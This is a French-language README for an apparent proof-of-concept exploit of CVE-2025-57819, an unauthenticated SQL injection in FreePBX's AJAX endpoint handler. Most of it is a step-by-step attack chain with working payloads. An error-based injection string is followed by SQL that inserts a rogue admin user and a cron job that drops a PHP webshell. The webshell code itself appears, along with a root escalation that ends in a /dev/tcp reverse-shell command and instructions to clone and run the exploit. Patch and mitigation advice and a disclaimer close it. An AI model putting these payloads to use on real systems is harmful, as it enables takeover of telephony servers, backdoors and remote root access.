
Proof-of-concept d'exploit pour CVE-2025-57819, une injection SQL non authentifiée dans FreePBX qui enchaîne la création d'un compte administrateur, le déploiement d'un webshell et l'escalade vers root pour obtenir une RCE.
Recherche éducative et de sécurité uniquement - Voir la mention légale ci-dessous
Preuve de concept d'exploitation pour CVE-2025-57819, une vulnérabilité critique d'injection SQL non authentifiée dans FreePBX permettant l'exécution de code à distance. Ce PoC est publié après la sortie des correctifs officiels à des fins de recherche en sécurité et de tests autorisés uniquement.
Les versions 15.x, 16.x et 17.x de FreePBX (antérieures aux versions corrigées) sont vulnérables à une injection SQL non authentifiée dans le gestionnaire AJAX du module endpoint. Cette chaîne de vulnérabilités permet :
| ID CVE | CVE-2025-57819 |
| Type | Injection SQL non authentifiée (basée sur les erreurs) |
| CVSS | 9.8 / 10.0 (Critique) |
| Affecté | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Corrigé | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Oui (29 août 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Le paramètre brand dans le gestionnaire AJAX du module endpoint accepte les entrées utilisateur sans validation, conduisant à une injection SQL basée sur les erreurs.
Vérifier l'injection SQL en utilisant l'extraction basée sur les erreurs EXTRACTVALUE() pour divulguer le nom de la base de données :
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insérer un nouvel utilisateur administratif dans asterisk.ampusers :
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Avec des identifiants admin valides, l'exploit s'authentifie auprès de FreePBX et établit une session authentifiée. Les cookies de session sont sauvegardés et utilisés pour toutes les requêtes authentifiées suivantes.
Injecter une commande webshell dans asterisk.cron_jobs :
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Le lanceur cron de FreePBX exécute la commande en tant qu'utilisateur asterisk, déposant le webshell PHP.
Le webshell PHP est déployé dans /var/www/html/shell.php :
<?php system($_GET['cmd']); ?>
L'exploit interroge le webshell jusqu'à son activation, obtenant une RCE en tant qu'utilisateur asterisk (uid=999).
Si incron est configuré sur la cible :
/var/spool/asterisk/incron/incrond (s'exécutant en tant que root) détecte la création du fichier/usr/bin/sysadmin_manager avec le nom du fichier déclencheursysadmin_manager valide la signature GPG et distribue au hook fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Résultat : shell root sur l'écouteur inverse (si incron est disponible).
brandasterisk.cron_jobs accessible en écriture exécute des commandes en tant qu'asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Statut |
|---|---|
| 15.0.0 - 15.0.65 | Vulnérable |
| 15.0.66+ | Corrigé |
| 16.0.0 - 16.0.88 | Vulnérable |
| 16.0.89+ | Corrigé |
| 17.0.0 - 17.0.2 | Vulnérable |
| 17.0.3+ | Corrigé |
Immédiat :
/admin/ajax.php depuis les réseaux non fiablessystemctl disable incrondPermanent : Mettre à niveau vers les versions corrigées : 15.0.66+, 16.0.89+, ou 17.0.3+
⚠️ AVERTISSEMENT
Cette preuve de concept est fournie UNIQUEMENT À DES FINS DE TESTS DE SÉCURITÉ AUTORISÉS ET ÉDUCATIVES. L'auteur n'assume aucune responsabilité pour une mauvaise utilisation ou des dommages causés par cet outil.
VOUS DEVEZ RESPECTER :
UTILISATIONS INTERDITES :
RENONCIATION DE RESPONSABILITÉ : L'auteur n'est pas responsable de :
Cette vulnérabilité est :
JazzTheRabbit
MIT License